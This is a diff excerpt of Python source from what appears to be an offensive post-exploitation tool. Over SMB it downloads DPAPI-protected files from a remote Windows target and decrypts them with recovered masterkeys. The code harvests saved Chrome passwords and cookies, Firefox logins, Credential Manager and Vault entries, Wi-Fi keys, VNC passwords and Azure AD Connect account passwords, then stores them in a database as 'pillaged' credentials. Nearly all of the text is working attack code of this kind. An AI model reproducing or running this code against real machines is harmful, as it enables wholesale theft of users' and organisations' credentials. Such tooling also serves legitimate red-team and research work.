+ user.files[longname]['status'] = 'decrypted'
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
+ self.logging.debug(ex)
+ if my_blob_type == 'ChromeVersion':
+ try:
+ myChromeSecrets.version_path = localfile
+ user.files[longname] = {}
+ user.files[longname]['type'] = my_blob_type
+ user.files[longname]['status'] = 'encrypted'
+ user.files[longname]['path'] = localfile
+ cookies = myChromeSecrets.get_chrome_Version()
+ user.files[longname]['secret'] = cookies
+ if cookies is not None:
+ user.files[longname]['status'] = 'decrypted'
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def GetMozillaSecrets_wrapper(self):
+ self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Mozilla Secrets {bcolors.ENDC}")
+
+ for user in self.users:
+ if user.username == 'MACHINE$':
+ continue
+ try:
+ myoptions = copy.deepcopy(self.options)
+ myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
+ myoptions.key = None
+ myoptions.masterkeys = None
+ myFirefoxSecrets = FIREFOX_LOGINS(myoptions, self.logging, user, self.myfileops, self.db)
+ myFirefoxSecrets.run()
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception GetMozillaSecrets_wrapper for {user.username} {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def GetChromeSecrets(self):
+ self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Chrome Secrets {bcolors.ENDC}")
+ blacklist = ['.', '..']
+ # Parse chrome
+ # autres navigateurs ?
+
+ user_directories = [("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Local State',
+ 'ChromeLocalState', 'DOMAIN'),
+ ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Cookies',
+ 'ChromeCookies', 'DOMAIN'),
+ ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default",
+ 'Extension Cookies', 'ChromeCookies', 'DOMAIN'),
+ (
+ "Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network", 'Cookies',
+ 'ChromeCookies', 'DOMAIN'),
+ (
+ "Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Safe Browsing Network",
+ 'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'),
+ ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Login Data',
+ 'ChromeLoginData', 'DOMAIN'),
+ ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Last Version',
+ 'ChromeVersion', 'DOMAIN'),
+ ]
+
+ for user in self.users:
+ if user.username == 'MACHINE$':
+ continue
+ else:
+ directories_to_use = user_directories
+ myoptions = copy.deepcopy(self.options)
+ myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
+ myoptions.key = None
+ myoptions.masterkeys = None
+ myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username)
+
+ # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
+ for info in directories_to_use:
+ my_dir, my_mask, my_blob_type, my_user_type = info
+ tmp_pwd = my_dir.format(
+ username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
+ self.logging.debug(
+ f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
+ my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
+ for infos in my_directory:
+ longname, is_directory = infos
+ self.logging.debug("ls returned file %s" % longname)
+ if longname not in blacklist and not is_directory:
+ try:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}")
+ # Downloading Blob file
+ localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True)
+ # myoptions = copy.deepcopy(self.options)
+ if my_blob_type == 'ChromeLocalState':
+ try:
+ myChromeSecrets.localstate_path = localfile
+ guid = myChromeSecrets.get_masterkey_guid_from_localstate()
+ if guid != None:
+ masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
+ if masterkey != None:
+ if masterkey['status'] == 'decrypted':
+ myChromeSecrets.masterkey = masterkey['key']
+ aesKey = myChromeSecrets.get_AES_key_from_localstate(
+ masterkey=masterkey['key'])
+ if aesKey != None:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}")
+ self.logging.debug(ex)
+ if my_blob_type == 'ChromeLoginData':
+ try:
+ myChromeSecrets.logindata_path = localfile
+ user.files[longname] = {}
+ user.files[longname]['type'] = my_blob_type
+ user.files[longname]['status'] = 'encrypted'
+ user.files[longname]['path'] = localfile
+ logins = myChromeSecrets.decrypt_chrome_LoginData()
+ user.files[longname]['secret'] = logins
+ if logins is not None:
+ user.files[longname]['status'] = 'decrypted'
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}")
+ self.logging.debug(ex)
+ if my_blob_type == 'ChromeCookies':
+ try:
+ myChromeSecrets.cookie_path = localfile
+ user.files[longname] = {}
+ user.files[longname]['type'] = my_blob_type
+ user.files[longname]['status'] = 'encrypted'
+ user.files[longname]['path'] = localfile
+ cookies = myChromeSecrets.decrypt_chrome_CookieData()
+ user.files[longname]['secret'] = cookies
+ if cookies is not None:
+ user.files[longname]['status'] = 'decrypted'
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
+ self.logging.debug(ex)
+ if my_blob_type == 'ChromeVersion':
+ try:
+ myChromeSecrets.version_path = localfile
+ user.files[longname] = {}
+ user.files[longname]['type'] = my_blob_type
+ user.files[longname]['status'] = 'encrypted'
+ user.files[longname]['path'] = localfile
+ cookies = myChromeSecrets.get_chrome_Version()
+ user.files[longname]['secret'] = cookies
+ if cookies is not None:
+ user.files[longname]['status'] = 'decrypted'
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def getMdbData(self):
+ try:
+ return self.getMdbData2()
+ except UnicodeDecodeError:
+ return self.getMdbData2('utf-16-le')
+
+ def getMdbData2(self, codec='utf-8'):
+ try:
+ out = {
+ 'cryptedrecords': [],
+ 'xmldata': []
+ }
+ keydata = None
+ #
+ # self.options.from_file='adsync_export'
+
+ if self.options.from_file:
+ logging.info('Loading configuration data from %s on filesystem', self.options.from_file)
+ infile = codecs.open(self.options.from_file, 'r', codec)
+ enumtarget = infile
+ else:
+ logging.info('Querying database for configuration data')
+ dbpath = os.path.join(os.getcwd(), r"ADSync.mdf")
+ output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0]
+ enumtarget = output.split('\n')
+
+ #####TEMP
+ # logging.info('Loading configuration data from %s on filesystem', self.__options.from_file)
+ # infile = codecs.open('adsync_export', 'r', codec)
+ # enumtarget = infile
+ ######
+
+ for line in enumtarget:
+ try:
+ ltype, data = line.strip().split(': ')
+ except ValueError:
+ continue
+ ltype = ltype.replace(u'\ufeff', u'')
+ if ltype.lower() == 'record':
+ xmldata, crypteddata = data.split(';')
+ out['cryptedrecords'].append(crypteddata)
+ out['xmldata'].append(xmldata)
+ # print(f"record found : {xmldata}")
+
+ if ltype.lower() == 'config':
+ instance, keyset_id, entropy = data.split(';')
+ out['instance'] = instance
+ out['keyset_id'] = keyset_id
+ out['entropy'] = entropy
+ # if self.__options.from_file:
+ # infile.close()
+ # Check if all values are in the outdata
+ required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy']
+ for option in required:
+ if not option in out:
+ logging.error(
+ 'Missing data from database. Option %s could not be extracted. Check your database or output file.',
+ option)
+ return None
+ return out
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Parsing database : Please manualy run ADSyncQuery.exe ADSync.mdf > adsync_export on a windows env with MSSQL support{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def Get_AD_Connect(self, user, localfile, data):
+ # Local DPAPI extracted data
+ info = ""
+ parts = data['Target'].decode('utf-16le')[:-1].split('_')
+ localBlobdatas = {
+ 'instanceid': parts[3][1:-1].lower(),
+ 'keyset_id': parts[4],
+ 'data': data['Unknown3']
+ }
+ # print(localBlobdatas)
+
+ # ADConnect Database data
+ logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE} Trying to get ADConnect account{bcolors.ENDC}")
+ try:
+ # Stop Service / Download DB / Start DB
+ myADSRemoteOps = ADSRemoteOperations(smbConnection=self.smb, doKerberos=False)
+ myADSRemoteOps.gatherAdSyncMdb()
+ # files_to_dl=['Program Files\\Microsoft Azure AD Sync\\Data\\ADSync.mdf','Program Files\\Microsoft Azure AD Sync\\Data\\ADSync_log.ldf']
+ mdbdata = self.getMdbData()
+ if mdbdata is None:
+ logging.debug(f"[{self.options.target_ip}] Could not extract required database information. Exiting")
+ return
+ # print(mdbdata)
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ADSRemoteOperations 1{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ result = localBlobdatas
+ if result is not None:
+ if result['keyset_id'] != mdbdata['keyset_id'] or result['instanceid'] != mdbdata['instance']:
+ logging.debug('Found keyset %s instance %s, but need keyset %s instance %s. Trying next',
+ result['keyset_id'], result['instanceid'], mdbdata['keyset_id'], mdbdata['instance'])
+ else:
+ logging.debug('Found correct encrypted keyset to decrypt data')
+ if result is None:
+ logging.debug('Failed to find correct keyset data')
+ return
+
+ # cryptkeys = [self.__remoteOps.decryptDpapiBlobSystemkey(result['data'], self.dpapiSystem['MachineKey'],string_to_bin(mdbdata['entropy']))]
+ myoptions = copy.deepcopy(self.options)
+ myoptions.file = None # "key_material.tmp" # BLOB to parse
+ myoptions.key = None
+ myoptions.masterkeys = None # user.masterkeys_file
+ mydpapi = DPAPI(myoptions, self.logging)
+ guid = mydpapi.find_Blob_masterkey(raw_data=result['data'])
+ self.logging.debug(f"[{self.options.target_ip}] Looking for ADConnect masterkey : {guid}")
+ if guid != None:
+ machine_user = user = self.GetUserByName('MACHINE$')
+ masterkey = self.get_masterkey(user=machine_user, guid=guid, type='MACHINE')
+ if masterkey != None:
+ if masterkey['status'] == 'decrypted':
+ mydpapi.options.key = masterkey['key']
+ # cred_data = mydpapi.decrypt_credential()
+ cryptkeys = [
+ mydpapi.decrypt_blob(raw_data=result['data'], entropy=string_to_bin(mdbdata['entropy']))]
+ try:
+ logging.debug(f'Decrypting encrypted AD Sync configuration data with {cryptkeys}')
+ for index, record in enumerate(mdbdata['cryptedrecords']):
+ # Try decrypting with highest cryptkey record
+ self.logging.debug(f"[{self.options.target_ip}] {index} - {record}")
+ drecord = DumpSecrets.decrypt(record, cryptkeys[-1]).replace('\x00', '')
+ # print(drecord)
+ with open('r%d_xml_data.xml' % index, 'w') as outfile:
+ data = base64.b64decode(mdbdata['xmldata'][index]).decode('utf-16-le')
+ outfile.write(data)
+ with open('r%d_encrypted_data.xml' % index, 'w') as outfile:
+ outfile.write(drecord)
+ ctree = ET.fromstring(drecord)
+ dtree = ET.fromstring(data)
+ if 'forest-login-user' in data:
+ logging.debug('Local AD credentials')
+ el = dtree.find(".//parameter[@name='forest-login-domain']")
+ if el is not None:
+ logging.debug('\tDomain: %s', el.text)
+ username = el.text
+ el = dtree.find(".//parameter[@name='forest-login-user']")
+ if el is not None:
+ username += '/' + el.text
+ # logging.debug('\tUsername: %s', el.text)
+ else:
+ # Assume AAD config
+ logging.debug('Azure AD credentials')
+ el = dtree.find(".//parameter[@name='UserName']")
+ if el is not None:
+ username = el.text
+ logging.debug('\tUsername: %s', el.text)
+ # Can be either lower or with capital P
+ fpw = None
+ el = ctree.find(".//attribute[@name='Password']")
+ if el is not None:
+ fpw = el.text
+ el = ctree.find(".//attribute[@name='password']")
+ if el is not None:
+ fpw = el.text
+ if fpw:
+ # fpw = fpw[:len(fpw)/2] + '...[REDACTED]'
+ logging.debug('\tPassword: %s', fpw)
+ info += f"{username} : {fpw}\n"
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} ADCONNECT : {bcolors.OKGREEN} - {username} : {fpw}{bcolors.ENDC}")
+ ############PROCESSING DATA
+ self.db.add_credz(credz_type='ADConnect',
+ credz_username=username,
+ credz_password=fpw,
+ credz_target='',
+ credz_path='', # user.files['ADCONNECT']['path'],
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Get_AD_Connect 2{bcolors.ENDC}")
+ self.logging.debug(ex)
+ else:
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] {bcolors.WARNING} Masterkey NOT Found for ADConnect {bcolors.ENDC}")
+ return info
+
+ def Get_DPAPI_Protected_Files(self):
+ self.logging.info(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering DPAPI Secret blobs on the target{bcolors.ENDC}")
+ blacklist = ['.', '..']
+ # credentials ?
+ # Vaults ?
+ # Parse chrome
+ # autres navigateurs ?
+ # CredHistory
+ # Appdata Roaming ?
+
+ user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'),
+ ("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*',
+ 'credential', 'MACHINE-USER'),
+ (
+ "Users\\{username}\\AppData\\Roaming\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'),
+ (
+ "Users\\{username}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings",
+ "*.rdg", 'rdg', 'DOMAIN')
+ ] # ADD Desktop for RDG
+ machine_directories = [("Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", '*',
+ 'credential', 'MACHINE'),
+ ("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*',
+ 'credential', 'MACHINE-USER'),
+ ("Users\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential',
+ 'MACHINE-USER'),
+ # Valider le %systemdir% selon la version de windows ?
+ ]
+
+ for user in self.users:
+ if user.username == 'MACHINE$':
+ directories_to_use = machine_directories
+ else:
+ directories_to_use = user_directories
+
+ # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
+ for info in directories_to_use:
+ my_dir, my_mask, my_blob_type, my_user_type = info
+ tmp_pwd = my_dir.format(
+ username=user.username) ##ntpath.join(ntpath.join('Users', user.username), my_dir)
+ self.logging.debug(
+ f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
+ my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
+ for infos in my_directory:
+ longname, is_directory = infos
+ self.logging.debug("ls returned file %s" % longname)
+ if longname not in blacklist and not is_directory:
+ try:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} encrypted files {longname}")
+ # Downloading Blob file
+ localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname))
+ user.files[longname] = {}
+ user.files[longname]['type'] = my_blob_type
+ user.files[longname]['status'] = 'encrypted'
+ user.files[longname]['path'] = localfile
+
+ myoptions = copy.deepcopy(self.options)
+ myoptions.file = localfile # Masterkeyfile to parse
+ myoptions.masterkeys = None # user.masterkeys_file
+ myoptions.key = None
+ mydpapi = DPAPI(myoptions, self.logging)
+ guid = mydpapi.find_CredentialFile_masterkey()
+ self.logging.debug(f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}")
+ if guid != None:
+ masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
+ if masterkey != None:
+ if masterkey['status'] == 'decrypted':
+ mydpapi.options.key = masterkey['key']
+ cred_data = mydpapi.decrypt_credential()
+ if cred_data != None:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Secret {longname}{bcolors.ENDC}")
+ user.files[longname]['status'] = 'decrypted'
+ user.files[longname]['data'] = cred_data
+ self.process_decrypted_data(user, user.files[
+ longname]) # cred_data,user,localfile,my_blob_type)
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
+ self.logging.debug(ex)
+ return 1
+
+ def GetWifi(self):
+ self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Wifi Keys{bcolors.ENDC}")
+ blacklist = ['.', '..']
+ machine_directories = [("ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces", '*.xml')]
+
+ for info in machine_directories:
+ user = self.GetUserByName('MACHINE$')
+ my_dir, my_mask = info
+ # interface name
+ self.logging.debug(f"[{self.options.target_ip}] [+] Looking for interfaces in {my_dir}") # No mask
+ my_directory = self.myfileops.do_ls(my_dir, '*', display=False)
+ for infos in my_directory:
+ longname, is_directory = infos
+ if longname not in blacklist and is_directory:
+ self.logging.debug(f"[{self.options.target_ip}] [+] Got Wifi interface {longname}")
+ tmp_pwd = ntpath.join(my_dir, longname)
+ my_directory2 = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
+ for infos2 in my_directory2:
+ longname2, is_directory2 = infos2
+ if longname2 not in blacklist and not is_directory2:
+ self.logging.debug(f"[{self.options.target_ip}] [+] Got wifi config file {longname2}")
+ # Downloading Blob file
+ localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname2))
+ user.files[longname2] = {}
+ user.files[longname2]['type'] = 'wifi'
+ user.files[longname2]['status'] = 'encrypted'
+ user.files[longname2]['path'] = localfile
+
+ with open(localfile, 'rb') as f:
+ try:
+ file_data = f.read().replace(b'\x0a', b'').replace(b'\x0d', b'')
+ wifi_name = re.search(b'([^<]+)', file_data)
+ wifi_name = wifi_name.group(1)
+ user.files[longname2]['wifi_name'] = wifi_name
+ key_material_re = re.search(b'([0-9A-F]+)', file_data)
+ if not key_material_re:
+ continue
+ key_material = key_material_re.group(1)
+ # with open("key_material.tmp", "wb") as f:
+ # f.write(binascii.unhexlify(key_material))
+ except Exception as ex:
+ self.logging.error(f"{bcolors.WARNING}Error in wifi parsing{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ try:
+ myoptions = copy.deepcopy(self.options)
+ myoptions.file = None # "key_material.tmp" # BLOB to parse
+ myoptions.key = None
+ myoptions.masterkeys = None # user.masterkeys_file
+ mydpapi = DPAPI(myoptions, self.logging)
+ guid = mydpapi.find_Blob_masterkey(raw_data=binascii.unhexlify(key_material))
+ self.logging.debug(
+ f"[{self.options.target_ip}] Looking for {longname2} masterkey : {guid}")
+ if guid != None:
+ masterkey = self.get_masterkey(user=user, guid=guid, type='MACHINE')
+ if masterkey != None:
+ if masterkey['status'] == 'decrypted':
+ mydpapi.options.key = masterkey['key']
+ # cred_data = mydpapi.decrypt_credential()
+ cred_data = mydpapi.decrypt_blob(
+ raw_data=binascii.unhexlify(key_material))
+ if cred_data != None:
+ user.files[longname2]['status'] = 'decrypted'
+ user.files[longname2]['data'] = cred_data
+ user.files[longname2]['secret'] = cred_data
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} Wifi {bcolors.OKBLUE}{wifi_name} {bcolors.OKGREEN} - {cred_data}{bcolors.ENDC}")
+ ############PROCESSING DATA
+ self.db.add_credz(credz_type='wifi',
+ credz_username=wifi_name.decode('utf-8'),
+ credz_password=cred_data.decode('utf-8'),
+ credz_target=wifi_name.decode('utf-8'),
+ credz_path=user.files[longname2]['path'],
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ # semf.process_decrypted_data(user.files[longname2])#cred_data, user, localfile, type='wifi', args=[wifi_name])
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFIBlob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
+ except Exception as ex:
+ self.logging.error(
+ f"{bcolors.WARNING}Exception decrypting wifi credentials{bcolors.ENDC}")
+ self.logging.debug(ex)
+ return 1
+
+ def GetVNC(self):
+ try:
+ self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering VNC Passwords{bcolors.ENDC}")
+ myvnc = Vnc(self.myregops, self.myfileops, self.logging, self.options, self.db)
+ myvnc.vnc_from_filesystem()
+ myvnc.vnc_from_registry()
+ except Exception as ex:
+ self.logging.error(f"{bcolors.WARNING}Exception IN VNC GATHERING{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def GetVaults(self):
+ self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Vaults{bcolors.ENDC}")
+ blacklist = ['.', '..', 'UserProfileRoaming']
+ # credentials ?
+ # Vaults ?
+ # Parse chrome
+ # autres navigateurs ?
+ # CredHistory
+
+ user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Vault", '*', 'vault', 'DOMAIN')]
+ machine_directories = [("ProgramData\\Microsoft\\Vault", '*', 'vault', 'MACHINE'),
+ ("Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault\\", '*',
+ 'vault', 'MACHINE')] # Windows hello pincode
+
+ for user in self.users:
+ if user.username == 'MACHINE$':
+ directories_to_use = machine_directories
+ else:
+ directories_to_use = user_directories
+
+ if len(user.masterkeys_file) > 0: # Pas de masterkeys==pas de datas a recup
+ for info in directories_to_use:
+ my_dir, my_mask, my_blob_type, my_user_type = info
+ tmp_pwd = my_dir.format(
+ username=user.username) # f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
+ self.logging.debug("Looking for %s Vaults in %s with mask %s" % (user.username, tmp_pwd, my_mask))
+ my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
+ for infos in my_directory:
+ longname, is_directory = infos
+ self.logging.debug("ls returned %s" % longname)
+ if longname not in blacklist and is_directory:
+ self.logging.debug("Got Vault Directory %s" % longname)
+ tmp_pwd2 = ntpath.join(tmp_pwd, longname)
+ try:
+ # First get the Policy.vpol
+ local_vpol_file = self.myfileops.get_file(ntpath.join(tmp_pwd2, "Policy.vpol"))
+ user.files[longname] = {}
+ user.files[longname]['type'] = my_blob_type
+ user.files[longname]['status'] = 'encrypted'
+ user.files[longname]['UID'] = longname
+ user.files[longname]['path'] = tmp_pwd2
+ user.files[longname]['vpol_path'] = local_vpol_file
+ user.files[longname]['vpol_status'] = 'encrypted'
+ user.files[longname]['vsch'] = {}
+ user.files[longname]['vcrd'] = {}
+ user.files[longname]['data'] = ''
+ # Decrypt the keys
+
+ myoptions = copy.deepcopy(self.options)
+ myoptions.vcrd = None # Vault File to parse
+ myoptions.masterkeys = None
+ myoptions.vpol = local_vpol_file
+ myoptions.key = None
+ mydpapi = DPAPI(myoptions, self.logging)
+ guid = mydpapi.find_Vault_Masterkey()
+ if guid != None:
+ masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
+ if masterkey != None:
+ if masterkey['status'] == 'decrypted':
+ mydpapi.options.key = masterkey['key']
+ keys = mydpapi.decrypt_vault()
+ if keys != None:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKGREEN}Vault Policy file Decryption successfull - {local_vpol_file}{bcolors.ENDC}")
+ tmp_vaultkeys = []
+ if keys['Key1']['Size'] > 0x24:
+ tmp_vaultkeys.append(
+ '0x%s' % binascii.hexlify(keys['Key2']['bKeyBlob']))
+ tmp_vaultkeys.append(
+ '0x%s' % binascii.hexlify(keys['Key1']['bKeyBlob']))
+ else:
+ tmp_vaultkeys.append(
+ '0x%s' % binascii.hexlify(
+ keys['Key2']['bKeyBlob']['bKey']).decode('latin-1'))
+ tmp_vaultkeys.append(
+ '0x%s' % binascii.hexlify(
+ keys['Key1']['bKeyBlob']['bKey']).decode('latin-1'))
+ self.logging.debug(
+ f"[{self.options.target_ip}] Saving {len(tmp_vaultkeys)} Vault keys {bcolors.ENDC}")
+ user.files[longname]['vpol_status'] = 'decrypted'
+ user.files[longname]['status'] = 'decrypted'
+ user.files[longname]['data'] = tmp_vaultkeys
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
+ continue
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
+ continue
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
+ continue
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
+ continue
+
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
+ self.logging.debug(ex)
+ continue
+
+ # Look for .vsch : Vault Schema file
+
+ # Then gets *.vcrd files
+ my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False)
+ self.logging.debug(
+ f"[{self.options.target_ip}] Found {len(my_directory2)} files in {tmp_pwd2}")
+ for infos2 in my_directory2:
+ longname2, is_directory2 = infos2
+ self.logging.debug("ls returned file %s" % longname2)
+ if longname2 not in blacklist and not is_directory2 and not longname2 == "Policy.vpol":
+ try:
+ # Downloading Blob file
+ localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2, longname2))
+ if longname2[-4:] == 'vsch': # PAS G2R2 pour le moment
+ user.files[longname]['vsch'][localfile] = {}
+ user.files[longname]['vsch'][localfile]['status'] = 'encrypted'
+ user.files[longname]['vsch'][localfile]['type'] = 'vsch'
+ user.files[longname]['vsch'][localfile]['vault_name'] = longname2
+ user.files[longname]['vsch'][localfile]['path'] = localfile
+ continue
+ elif longname2[-4:] == 'vcrd':
+ user.files[longname]['vcrd'][localfile] = {}
+ user.files[longname]['vcrd'][localfile]['status'] = 'encrypted'
+ user.files[longname]['vcrd'][localfile]['type'] = 'vcrd'
+ user.files[longname]['vcrd'][localfile]['vault_name'] = longname2
+ user.files[longname]['vcrd'][localfile]['path'] = localfile
+
+ myoptions = copy.deepcopy(self.options)
+ myoptions.vcrd = localfile # Vault File to parse
+ myoptions.vaultkeys = tmp_vaultkeys
+ myoptions.vpol = None
+ myoptions.key = None
